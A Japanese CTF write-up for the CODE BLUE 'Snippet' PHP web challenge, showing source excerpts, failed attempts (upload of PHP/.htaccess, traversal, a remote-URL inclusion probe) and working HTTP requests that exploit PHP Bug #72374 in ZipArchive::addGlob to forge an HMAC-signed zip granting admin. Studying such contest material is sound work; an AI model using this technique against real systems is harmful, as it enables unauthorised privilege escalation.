Tags: php web 

Rating:

# ▼▼▼CODE BLUE Snippet (Web:289pt、24/555team=4.3%)▼▼▼
**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**

---

```
We developed the awesome snippet service. Have a try!
http://cbs.tasks.ctf.codeblue.jp

Source Code(Old): src.zip

Updated on 11/10 at 6:30(UTC+0900):
この問題はミスにより、非常に簡単になる非想定の解法がありました。
協議の結果、このミスを修正した上で、全チーム間で公平になるよう、元の問題のフラッグを公開します。
CBCTF{plz fix PHP Bug #72374} ( このフラグは現在有効ではありません )

Source Code (Updated): src-updated.zip
```

-----
## 【Goal】
【index.php】
```
if (file_exists($USER_DIR . '/is_admin')) {
exit($FLAG);
}
```

ゴールは、is_adminをアップロードできればflagが得られる。

-----

【config.php】
```
open($tmpfile);
$zip->extractTo($USER_DIR);

$zip->close();

header('Location: /');
```

アップロードするファイル名と、ファイルの中身と秘密鍵で計算された値が合致しないとアップロードできないことがわかる。

-----

## 【TRY1:任意コマンド実行を試みる】

phpファイルをアップロードしても実行されず。NG

次に、.htaccessの設定ファイルのアップロードを試みる。

ファイル名のドットが検知される。NG

-----

## 【TRY2:秘密鍵($MY_SECRET)を特定することを試みる】
【export.php】
```
open($tmpfile, ZipArchive::CREATE);
$options = array('remove_path' => $_GET['dir']);

$dir = trim($_GET['dir'], '/');
$zip->addGlob($dir . '/*', 0, $options);

$zip->close();

$hmac = hash_hmac('sha256', file_get_contents($tmpfile), $MY_SECRET);
header("Content-Disposition: attachment; filename='${hmac}.zip'");
readfile($tmpfile);

unlink($tmpfile);
```

```
$hmac = hash_hmac('sha256', file_get_contents($tmpfile), $MY_SECRET);
header("Content-Disposition: attachment; filename='${hmac}.zip'");
```

file_get_contents($tmpfile)が空、つまりフォルダに空の状態でエクスポートすると

220d546185ad9fd41e4ab2ac6740eddd581e5e87dde387288ccfae729f53e4ae.zip

値をGoogle検索してみたが見つからない。特定は難しい。NG

-----

## 【TRY3:dirパラメータで1つ上の階層のconfig.phpをexportすることを試みる】

```
if (preg_match('/\.|\\\\|^\//', $_GET['dir']) === 1) {
die('hello hacker :(');
}
```

`../`が通らないので無理そう。

-----

## 【TRY4:file_get_contents($tmpfile)からURLでRFIすることを試みる】
【import.php】

```
$hmac = hash_hmac('sha256', file_get_contents($tmpfile), $MY_SECRET);
```

```
POST /post.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: cbs.tasks.ctf.codeblue.jp
Cookie: PHPSESSID=b4e4a199b9f1f8d40a9235d50fd7cba1

filename="https://requestb.in/rq9prarq"
```

リクエストが来ない

設定でURLは無効にされていると思われる。NG。

-----

importでis_adminファイルをアップロードすればチェックされない!★
しかしファイル名を秘密鍵($MY_SECRET)で計算された値にする必要がある。

is_adminが圧縮されたものをexportできれば値が合致する圧縮ファイルが得られる

## 【TRY5:ZipArchive::addGlobのバグ(https://bugs.php.net/bug.php?id=72374)】
途中で問題がfixされ、前回のflagが全体に公開された`CBCTF{plz fix PHP Bug #72374}`からもこれで確定。

圧縮時にフォルダ名の最後に/を付与するとファイル名が1文字削除されて圧縮されるようだ。

【解法】

よって、`is_admin`ファイルの先頭に任意の1文字を付与(例えば、`ais_admin`)してPOSTでファイルを書き込む

```
POST /post.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: cbs.tasks.ctf.codeblue.jp
Cookie: PHPSESSID=b4e4a199b9f1f8d40a9235d50fd7cba1

filename=ais_admin&contents=
```

次に、ファイルエクスポートで、dirの最後に`/`を入れることで、ファイル名の先頭1文字が削除されてzipファイルに圧縮される。

```
GET /export.php?dir=d6ac5615e8af00915a76b8c2770091e7/ HTTP/1.1
Host: cbs.tasks.ctf.codeblue.jp
```

```
HTTP/1.1 200 OK
Date: Fri, 10 Nov 2017 06:02:43 GMT
Server: Apache/2.4.10 (Debian)
X-Powered-By: PHP/7.0.25
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Disposition: attachment; filename='e6cbcd0602de36546bcb36cea427817a933730b3bd64a65d9f2a65bd7dbea90d.zip'
Vary: Accept-Encoding
Content-Length: 394
Connection: close
Content-Type: text/html; charset=UTF-8

PK~(省略)~
```

全てのファイルの先頭1文字目が削除されるので、`ais_admin`⇒`is_admin`となる。

これでis_adminファイルを含む秘密鍵($MY_SECRET)で計算された値と合致する圧縮ファイルが得られた
```
e6cbcd0602de36546bcb36cea427817a933730b3bd64a65d9f2a65bd7dbea90d.zip
```

これをインポートするとis_adminをアップロードできる

`CBCTF{sorry-we-had-a-pitty-bug;;}`